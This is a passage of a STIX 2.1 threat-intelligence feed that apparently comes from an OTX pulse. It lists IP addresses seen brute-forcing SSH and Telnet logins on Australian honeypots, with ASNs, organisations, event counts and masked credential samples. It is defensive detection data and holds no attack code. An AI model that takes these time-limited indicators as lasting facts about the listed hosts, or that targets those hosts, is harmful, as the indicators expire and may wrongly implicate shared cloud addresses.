      "id": "indicator--bc1e9e8d-a9d5-4e7c-9681-5d4a9671dcbc",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-02T03:15:09.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '74.48.5.133']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T03:15:09.000Z",
      "valid_until": "2026-06-03T03:15:08.000Z"
    },
    {
      "created": "2026-05-02T03:15:09.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 53. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: RO. ASN(s): 47890. Organisation(s): Unmanaged Ltd. Usernames observed (masked): s**v. Passwords observed (masked): 1****6, ***, 1**4, 1******8, 1********0.",
      "id": "indicator--0b575345-92ce-4d4a-bb58-afcb6821f0a5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-02T03:15:09.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '80.94.92.184']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T03:15:09.000Z",
      "valid_until": "2026-06-03T03:15:08.000Z"
    },
    {
      "created": "2026-05-02T03:15:09.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: FR. ASN(s): 51167. Organisation(s): Contabo GmbH.",
      "id": "indicator--e7419daa-7ac3-462f-af2d-e8e9ab39fdc1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-02T03:15:09.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '84.247.174.31']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T03:15:09.000Z",
      "valid_until": "2026-06-03T03:15:08.000Z"
    },
    {
      "created": "2026-05-02T03:15:09.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: SI. ASN(s): 34779. Organisation(s): T-2, d.o.o..",
      "id": "indicator--f10ad5d0-a968-4e1c-b4c0-8db577d7895c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-02T03:15:09.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '89.212.129.161']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T03:15:09.000Z",
      "valid_until": "2026-06-03T03:15:08.000Z"
    },
    {
      "created": "2026-05-02T04:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 71. Sensors involved: Cowrie. Target ports: 23. Source country: BE. ASN(s): 396982. Organisation(s): Google LLC. Usernames observed (masked): **, G************1, O*********************************0, U*************************************************************************************************************************6. Passwords observed (masked): **, A*******************p, C*******3, H**********************3.",
      "id": "indicator--a7aadc0a-608f-4ede-b14c-a5e8b2328368",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-02T04:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '104.199.67.204']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T04:15:10.000Z",
      "valid_until": "2026-06-03T04:15:08.000Z"
    },
    {
      "created": "2026-05-02T04:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 24560. Organisation(s): Bharti Airtel Ltd., Telemedia Services.",
      "id": "indicator--bf97eb68-2bcc-4867-9447-0fb1cc41f561",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-02T04:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '106.219.170.62']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T04:15:10.000Z",
      "valid_until": "2026-06-03T04:15:08.000Z"
    },
    {
      "created": "2026-05-02T04:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--c83cabdc-73a8-4564-94ea-cb33acbfbddf",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-02T04:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '114.230.90.34']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T04:15:10.000Z",
      "valid_until": "2026-06-03T04:15:08.000Z"
    },
    {
      "created": "2026-05-02T04:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: PH. ASN(s): 9299. Organisation(s): Philippine Long Distance Telephone Company.",
      "id": "indicator--ef5b425a-9323-466e-baaf-c4fb5b6e838d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-02T04:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '124.106.145.51']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T04:15:10.000Z",
      "valid_until": "2026-06-03T04:15:08.000Z"
    },
    {
      "created": "2026-05-02T04:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: KR. ASN(s): 17858. Organisation(s): LG POWERCOMM.",
      "id": "indicator--24e4a62f-19f0-4afb-bdee-feca6287fc34",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-02T04:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '124.53.39.44']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T04:15:10.000Z",
      "valid_until": "2026-06-03T04:15:08.000Z"
    },
    {
      "created": "2026-05-02T04:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via unknown against Cowrie/Heralding honeypots in Australia. Total events observed: 1. Sensors involved: Cowrie. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--58e8fcd8-3be1-47b7-a472-1e015ffaa6f5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-02T04:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '125.126.123.219']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T04:15:10.000Z",
      "valid_until": "2026-06-03T04:15:08.000Z"
    },
    {
      "created": "2026-05-02T04:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: GB. ASN(s): 39238. Organisation(s): Okb Progress LLC. Usernames observed (masked): a***n. Passwords observed (masked): a***n.",
      "id": "indicator--d77071ca-85bd-4bc9-8cc4-17d734387b67",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-02T04:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '138.124.185.227']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T04:15:10.000Z",
      "valid_until": "2026-06-03T04:15:08.000Z"
    },
    {
      "created": "2026-05-02T04:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 476. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--f72dc60c-14e2-467c-ba5b-403a91aea9bb",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-02T04:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '157.245.107.154']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T04:15:10.000Z",
      "valid_until": "2026-06-03T04:15:08.000Z"
    },
    {
      "created": "2026-05-02T04:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: PE. ASN(s): 6147. Organisation(s): INTEGRATEL PERU S.A.A..",
      "id": "indicator--28bd5ca1-8ace-46f4-ae7d-75829e866cb0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-02T04:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '181.66.167.211']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T04:15:10.000Z",
      "valid_until": "2026-06-03T04:15:08.000Z"
    },
    {
      "created": "2026-05-02T04:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: VE. ASN(s): 263703. Organisation(s): VIGINET C.A.",
      "id": "indicator--38d091da-7a4e-407e-a926-b114e5f6c2cd",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-02T04:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '190.97.234.212']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T04:15:10.000Z",
      "valid_until": "2026-06-03T04:15:08.000Z"
    },
    {
      "created": "2026-05-02T04:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IQ. ASN(s): 211908. Organisation(s): Horizon Scope Mobile Telecom WLL.",
      "id": "indicator--8d6512da-0ed5-4752-8b40-b95b6e661e97",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-02T04:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '204.157.182.79']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T04:15:10.000Z",
      "valid_until": "2026-06-03T04:15:08.000Z"
    },
    {
      "created": "2026-05-02T04:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 9829. Organisation(s): National Internet Backbone.",
      "id": "indicator--9a06ed0f-5333-4d7f-a753-be97f13a70e8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-02T04:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '210.212.28.133']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T04:15:10.000Z",
      "valid_until": "2026-06-03T04:15:08.000Z"
    },
    {
      "created": "2026-05-02T04:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 16509. Organisation(s): Amazon.com, Inc..",
      "id": "indicator--210433d7-83d1-4f33-af00-66b2da3511fd",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-02T04:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '3.129.187.38']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T04:15:10.000Z",
      "valid_until": "2026-06-03T04:15:08.000Z"
    },
    {
      "created": "2026-05-02T04:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 71. Sensors involved: Cowrie. Target ports: 23. Source country: BE. ASN(s): 396982. Organisation(s): Google LLC. Usernames observed (masked): **, G************1, O*********************************0, U*************************************************************************************************************************6. Passwords observed (masked): **, A*******************p, C********7, H**********************3.",
      "id": "indicator--9b59e869-fcd3-475b-a243-fab0d86013f9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-02T04:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '34.38.9.57']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T04:15:10.000Z",
      "valid_until": "2026-06-03T04:15:08.000Z"
    },
    {
      "created": "2026-05-02T04:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: VE. ASN(s): 272864. Organisation(s): CIDATA, C.A.",
      "id": "indicator--3de7c600-a018-40bd-99ed-fef5214e8c68",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-02T04:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '38.196.254.132']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T04:15:10.000Z",
      "valid_until": "2026-06-03T04:15:08.000Z"
    },
    {
      "created": "2026-05-02T04:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: UA. ASN(s): 62206. Organisation(s): Pitline Ltd.",
      "id": "indicator--f62ce08b-811b-4b88-8d8d-b12de206bf7f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-02T04:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '45.9.29.219']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T04:15:10.000Z",
      "valid_until": "2026-06-03T04:15:08.000Z"
    },
    {
      "created": "2026-05-02T05:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 50. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 139879. Organisation(s): Galaxy Broadband.",
      "id": "indicator--5770cb99-6ac5-4783-886d-34454ae18270",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-02T05:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '103.74.21.135']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T05:15:11.000Z",
      "valid_until": "2026-06-03T05:15:08.000Z"
    },
    {
      "created": "2026-05-02T05:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 50. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 38264. Organisation(s): National WiMAXIMS environment.",
      "id": "indicator--55002a1b-6b8d-4338-ad92-c4aa153aabd9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-02T05:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '110.39.231.249']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T05:15:11.000Z",
      "valid_until": "2026-06-03T05:15:08.000Z"
    },
    {
      "created": "2026-05-02T05:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: KR. ASN(s): 4766. Organisation(s): Korea Telecom.",
      "id": "indicator--1bf1d214-aff0-4915-9660-e34ae2a41850",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-02T05:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '119.205.87.111']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T05:15:11.000Z",
      "valid_until": "2026-06-03T05:15:08.000Z"
    },
    {
      "created": "2026-05-02T05:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 24560. Organisation(s): Bharti Airtel Ltd., Telemedia Services.",
      "id": "indicator--40eb3c26-211c-40b2-8fa4-8b07524974d6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-02T05:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '122.179.88.108']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T05:15:11.000Z",
      "valid_until": "2026-06-03T05:15:08.000Z"
    },
    {
      "created": "2026-05-02T05:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 113. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: KR. ASN(s): 4766. Organisation(s): Korea Telecom. Usernames observed (masked): a***n, ***, r**t, 3**********4, m*******t. Passwords observed (masked): 2****2, *, 3***********4, 3**********4, P************6.",
      "id": "indicator--3daa3d3a-14df-4713-a23e-9829fec33b31",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-02T05:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '14.63.196.175']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T05:15:11.000Z",
      "valid_until": "2026-06-03T05:15:08.000Z"
    },
    {
      "created": "2026-05-02T05:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 7. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: AM. ASN(s): 197834. Organisation(s): Ucom CJSC.",
      "id": "indicator--2c9dde4a-5ba1-4b84-bae7-3a5d0d44e170",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-02T05:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '176.32.193.16']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T05:15:11.000Z",
      "valid_until": "2026-06-03T05:15:08.000Z"
    },
    {
      "created": "2026-05-02T05:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 113. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BR. ASN(s): 267003. Organisation(s): SCM EVOLUTT CONNECT LTDA. Usernames observed (masked): a***n, u****u, 3**********4, ***, m*************r. Passwords observed (masked): 1****3, 1****6, 3***********4, 3**********4, h*****y.",
      "id": "indicator--b695192e-46a0-435f-86d5-e3c8942d19db",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-02T05:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '181.191.194.175']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T05:15:11.000Z",
      "valid_until": "2026-06-03T05:15:08.000Z"
    },
    {
      "created": "2026-05-02T05:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: VE. ASN(s): 271855. Organisation(s): MANGO NETWORK, C. A. MANGONET, C. A.",
      "id": "indicator--69a9e663-4766-4ffc-9880-e98f157176d1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-02T05:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '181.191.227.171']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T05:15:11.000Z",
      "valid_until": "2026-06-03T05:15:08.000Z"
    },
    {
      "created": "2026-05-02T05:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CO. ASN(s): 3816. Organisation(s): COLOMBIA TELECOMUNICACIONES S.A. ESP BIC.",
      "id": "indicator--aefe7954-4e24-4a22-8381-a623097c9b6f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-02T05:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '181.237.57.14']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T05:15:11.000Z",
      "valid_until": "2026-06-03T05:15:08.000Z"
    },
    {
      "created": "2026-05-02T05:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 250. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CL. ASN(s): 15311. Organisation(s): TELEFONICA EMPRESAS CHILE SA. Usernames observed (masked): r**t, 3**********4, ***, g***t, m***l. Passwords observed (masked): 3***********4, 3**********4, ***, 2****2, **.",
      "id": "indicator--92d4bb3e-94ad-4db0-90f3-54f33fbe56e2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-02T05:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '186.103.169.12']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T05:15:11.000Z",
      "valid_until": "2026-06-03T05:15:08.000Z"
    },
    {
      "created": "2026-05-02T05:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: AR. ASN(s): 28015. Organisation(s): MERCO COMUNICACIONES.",
      "id": "indicator--fe1492f6-f0e3-4c6a-905c-67f95fdb4a2e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-02T05:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '190.5.161.116']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T05:15:11.000Z",
      "valid_until": "2026-06-03T05:15:08.000Z"
    },
    {
      "created": "2026-05-02T05:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 263517. Organisation(s): Acesso Telecomunicacoes LTDA.",
      "id": "indicator--caa2d13f-2e82-4a55-a1c9-a82da92d4e9f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-02T05:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '191.243.234.126']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T05:15:11.000Z",
      "valid_until": "2026-06-03T05:15:08.000Z"
    },
    {
      "created": "2026-05-02T05:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BG. ASN(s): 51396. Organisation(s): Pfcloud UG (haftungsbeschrankt).",
      "id": "indicator--2362c3fa-4e05-4a18-b0eb-1d3e83fd0021",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-02T05:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '192.109.200.238']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T05:15:11.000Z",
      "valid_until": "2026-06-03T05:15:08.000Z"
    },
    {
      "created": "2026-05-02T05:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 1772. Sensors involved: Cowrie. Target ports: 23. Source country: ZA. ASN(s): 37611. Organisation(s): AFRIHOST-SP.",
      "id": "indicator--5aac8396-9289-43ba-9084-f91f0d1449eb",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-02T05:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '197.242.156.86']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T05:15:11.000Z",
      "valid_until": "2026-06-03T05:15:08.000Z"
    },
    {
      "created": "2026-05-02T05:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 207. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: AE. ASN(s): 8075. Organisation(s): Microsoft Corporation. Usernames observed (masked): r**t, 3**********4, ***, a******o, ***. Passwords observed (masked): 3***********4, 3**********4, 1******X, 2****2, A******6.",
      "id": "indicator--481a2c52-abfc-49b5-bd38-b5f47a773f58",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-02T05:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '20.203.42.204']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T05:15:11.000Z",
      "valid_until": "2026-06-03T05:15:08.000Z"
    },
    {
      "created": "2026-05-02T05:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 45271. Organisation(s): Vodafone Idea Ltd.",
      "id": "indicator--8f190774-4b08-44bd-bf51-c8367216ceb4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-02T05:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '27.97.162.77']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T05:15:11.000Z",
      "valid_until": "2026-06-03T05:15:08.000Z"
    },
    {
      "created": "2026-05-02T05:15:11.000Z",
